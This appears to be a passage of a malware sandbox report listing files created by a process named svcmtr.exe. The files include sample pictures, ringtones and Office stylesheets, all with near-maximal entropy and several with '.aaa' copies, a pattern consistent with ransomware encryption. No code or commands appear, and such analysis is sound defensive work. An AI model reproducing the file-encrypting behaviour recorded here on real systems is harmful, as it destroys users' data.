Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg entropy: 7.99975745316	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg entropy: 7.99962859933	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Desert.jpg entropy: 7.99981692554	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Users\Public\Videos\Sample Videos\Wildlife.wmv entropy: 7.99999356046	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg entropy: 7.99972856389	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME01.CSS entropy: 7.99846981057	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME02.CSS entropy: 7.99816803998	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME03.CSS entropy: 7.99854133731	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME09.CSS entropy: 7.99853367769	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME10.CSS entropy: 7.99878340885	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME11.CSS entropy: 7.99874519912	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME12.CSS entropy: 7.99844522652	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME13.CSS entropy: 7.99856499915	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME04.CSS entropy: 7.99834570599	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME05.CSS entropy: 7.99862577944	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME06.CSS entropy: 7.99849409282	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME07.CSS entropy: 7.99853735073	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME08.CSS entropy: 7.99830826167	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME20.CSS entropy: 7.99850966224	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME21.CSS entropy: 7.99834186383	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME22.CSS entropy: 7.99865503926	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME23.CSS entropy: 7.99859273255	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME14.CSS entropy: 7.99837423835	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME15.CSS entropy: 7.99816329199	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME16.CSS entropy: 7.99859076703	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME17.CSS entropy: 7.99817283998	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME18.CSS entropy: 7.99872843695	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME19.CSS entropy: 7.99853816402	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME31.CSS entropy: 7.99827898335	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME32.CSS entropy: 7.99831007926	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME33.CSS entropy: 7.99851675108	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME24.CSS entropy: 7.99852672413	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME25.CSS entropy: 7.99857252149	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME26.CSS entropy: 7.99833876446	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME27.CSS entropy: 7.99825322135	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME28.CSS entropy: 7.99852619771	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME29.CSS entropy: 7.99866799757	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME30.CSS entropy: 7.99849458796	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME44.CSS entropy: 7.99878808928	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME42.CSS entropy: 7.99827717241	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME43.CSS entropy: 7.99847625719	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME34.CSS entropy: 7.99830785461	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME35.CSS entropy: 7.99871655061	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME36.CSS entropy: 7.99854234655	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME37.CSS entropy: 7.99864581495	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME38.CSS entropy: 7.99869433103	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME39.CSS entropy: 7.99836415506	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME40.CSS entropy: 7.99825910238	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME41.CSS entropy: 7.99858776273	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME54.CSS entropy: 7.998399262	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME55.CSS entropy: 7.9984901335	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME53.CSS entropy: 7.99841576897	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME45.CSS entropy: 7.99844741889	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME46.CSS entropy: 7.99841106271	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME47.CSS entropy: 7.99857325215	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME48.CSS entropy: 7.99835890105	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME49.CSS entropy: 7.99828105473	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME50.CSS entropy: 7.99853735855	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME51.CSS entropy: 7.99847590861	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME52.CSS entropy: 7.99852420294	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 02.wma entropy: 7.99865717812	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 01.wma entropy: 7.99902155912	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 10.wma entropy: 7.99809516643	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 09.wma entropy: 7.99846157312	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 08.wma entropy: 7.99845347598	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 07.wma entropy: 7.9978872642	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 06.wma entropy: 7.99803712892	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 05.wma entropy: 7.99867766644	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 04.wma entropy: 7.999182213	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 03.wma entropy: 7.9979625803	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.47.0\LICENSE.txt entropy: 7.99227459144	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\SAMPLES\SOLVSAMP.XLS entropy: 7.99840356829	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg entropy: 7.9997835652	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.47.0\LICENSE.txt.aaa (copy) entropy: 7.99227459144	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Documents\My Pictures\Sample Pictures\Desert.jpg.aaa (copy) entropy: 7.99981692554	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Documents\My Pictures\Sample Pictures\Koala.jpg.aaa (copy) entropy: 7.99976664486	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Documents\My Pictures\Sample Pictures\Tulips.jpg.aaa (copy) entropy: 7.99972856389	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Documents\My Videos\Sample Videos\Wildlife.wmv.aaa (copy) entropy: 7.99999356046	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Ringtones\Ringtone 01.wma.aaa (copy) entropy: 7.99902155912	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Ringtones\Ringtone 02.wma.aaa (copy) entropy: 7.99865717812	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Ringtones\Ringtone 03.wma.aaa (copy) entropy: 7.9979625803	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Ringtones\Ringtone 04.wma.aaa (copy) entropy: 7.999182213	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Ringtones\Ringtone 05.wma.aaa (copy) entropy: 7.99867766644	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Ringtones\Ringtone 06.wma.aaa (copy) entropy: 7.99803712892	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Ringtones\Ringtone 07.wma.aaa (copy) entropy: 7.9978872642	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Ringtones\Ringtone 08.wma.aaa (copy) entropy: 7.99845347598	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Ringtones\Ringtone 09.wma.aaa (copy) entropy: 7.99846157312	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Ringtones\Ringtone 10.wma.aaa (copy) entropy: 7.99809516643	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Documents\My Pictures\Sample Pictures\Chrysanthemum.jpg.aaa (copy) entropy: 7.9997835652	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Documents\My Pictures\Sample Pictures\Hydrangeas.jpg.aaa (copy) entropy: 7.99962859933	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Documents\My Pictures\Sample Pictures\Jellyfish.jpg.aaa (copy) entropy: 7.99975745316	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Documents\My Pictures\Sample Pictures\Lighthouse.jpg.aaa (copy) entropy: 7.9996345211	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Documents\My Pictures\Sample Pictures\Penguins.jpg.aaa (copy) entropy: 7.99978839619	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0387895.JPG.aaa (copy) entropy: 7.9939746792	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0400001.PNG.aaa (copy) entropy: 7.99907789331	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0400002.PNG.aaa (copy) entropy: 7.99793205067	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0400003.PNG.aaa (copy) entropy: 7.99855482405	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0400004.PNG.aaa (copy) entropy: 7.99812244886	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0400005.PNG.aaa (copy) entropy: 7.99826779297	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH01046J.JPG.aaa (copy) entropy: 7.9986631482	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH01179J.JPG.aaa (copy) entropy: 7.99498755716	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH01931J.JPG.aaa (copy) entropy: 7.99555950859	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02053J.JPG.aaa (copy) entropy: 7.9933009054	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02069J.JPG.aaa (copy) entropy: 7.99346154842	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02567J.JPG.aaa (copy) entropy: 7.99398845138	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02759J.JPG.aaa (copy) entropy: 7.99457692256	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02810J.JPG.aaa (copy) entropy: 7.9960715748	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH02829J.JPG.aaa (copy) entropy: 7.99615524232	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH03041I.JPG.aaa (copy) entropy: 7.99335614851	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH03143I.JPG.aaa (copy) entropy: 7.99304092425	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH03205I.JPG.aaa (copy) entropy: 7.99584705514	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH03224I.JPG.aaa (copy) entropy: 7.99583914772	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\CLIPART\PUB60COR\PH03425I.JPG.aaa (copy) entropy: 7.99637860205	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\MEDIA\CAGCAT10\J0284916.JPG.aaa (copy) entropy: 7.99141931749	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\MEDIA\CAGCAT10\J0315447.JPG.aaa (copy) entropy: 7.99187987277	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME01.CSS.aaa (copy) entropy: 7.99846981057	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME02.CSS.aaa (copy) entropy: 7.99816803998	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME03.CSS.aaa (copy) entropy: 7.99854133731	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME04.CSS.aaa (copy) entropy: 7.99834570599	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME05.CSS.aaa (copy) entropy: 7.99862577944	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME06.CSS.aaa (copy) entropy: 7.99849409282	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME07.CSS.aaa (copy) entropy: 7.99853735073	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME08.CSS.aaa (copy) entropy: 7.99830826167	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME09.CSS.aaa (copy) entropy: 7.99853367769	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME10.CSS.aaa (copy) entropy: 7.99878340885	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME11.CSS.aaa (copy) entropy: 7.99874519912	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME12.CSS.aaa (copy) entropy: 7.99844522652	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME13.CSS.aaa (copy) entropy: 7.99856499915	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME14.CSS.aaa (copy) entropy: 7.99837423835	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME15.CSS.aaa (copy) entropy: 7.99816329199	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME16.CSS.aaa (copy) entropy: 7.99859076703	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME17.CSS.aaa (copy) entropy: 7.99817283998	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME18.CSS.aaa (copy) entropy: 7.99872843695	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME19.CSS.aaa (copy) entropy: 7.99853816402	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME20.CSS.aaa (copy) entropy: 7.99850966224	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME21.CSS.aaa (copy) entropy: 7.99834186383	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME22.CSS.aaa (copy) entropy: 7.99865503926	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME23.CSS.aaa (copy) entropy: 7.99859273255	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME24.CSS.aaa (copy) entropy: 7.99852672413	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME25.CSS.aaa (copy) entropy: 7.99857252149	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME26.CSS.aaa (copy) entropy: 7.99833876446	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME27.CSS.aaa (copy) entropy: 7.99825322135	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME28.CSS.aaa (copy) entropy: 7.99852619771	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME29.CSS.aaa (copy) entropy: 7.99866799757	Jump to dropped file
